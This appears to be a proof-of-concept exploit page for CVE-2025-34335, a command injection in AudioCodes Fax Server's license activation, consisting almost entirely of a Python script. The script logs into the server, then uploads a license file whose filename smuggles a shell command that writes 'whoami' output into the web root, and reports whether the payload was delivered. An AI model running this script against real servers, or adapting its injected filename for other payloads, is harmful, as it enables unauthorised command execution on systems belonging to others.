CVE-2025-34335 AudioCodes Fax Server 授权激活命令注入漏洞

#!/usr/bin/env python3 """ CVE-2025-34335 AudioCodes Fax Server Authenticated Command Injection PoC Author: VulnCheck ([email protected]) """ import requests import sys TARGET = "https://target-audiocodes-server.com" USERNAME = "low_privilege_user" PASSWORD = "user_password" def exploit(): """Exploit the command injection via license file upload""" # Create malicious license file with command injection in filename # The extension part will be used without sanitization malicious_filename = "license.txt;whoami>../../webroot/pwned.txt" # Login to get authenticated session session = requests.Session() login_url = f"{TARGET}/AudioCodes_files/login.php" login_data = { "username": USERNAME, "password": PASSWORD } print(f"[*] Logging in as {USERNAME}...") response = session.post(login_url, data=login_data) if response.status_code != 200: print("[-] Login failed") return False print("[+] Login successful") # Upload malicious license file upload_url = f"{TARGET}/AudioCodes_files/ActivateLicense.php" files = { "license_file": (malicious_filename, b"malicious_license_content", "application/octet-stream") } print(f"[*] Uploading malicious license file: {malicious_filename}") response = session.post(upload_url, files=files) if response.status_code == 200: print("[+] Payload delivered successfully") print("[*] Check if command was executed on target system") return True else: print(f"[-] Upload failed with status: {response.status_code}") return False if __name__ == "__main__": exploit()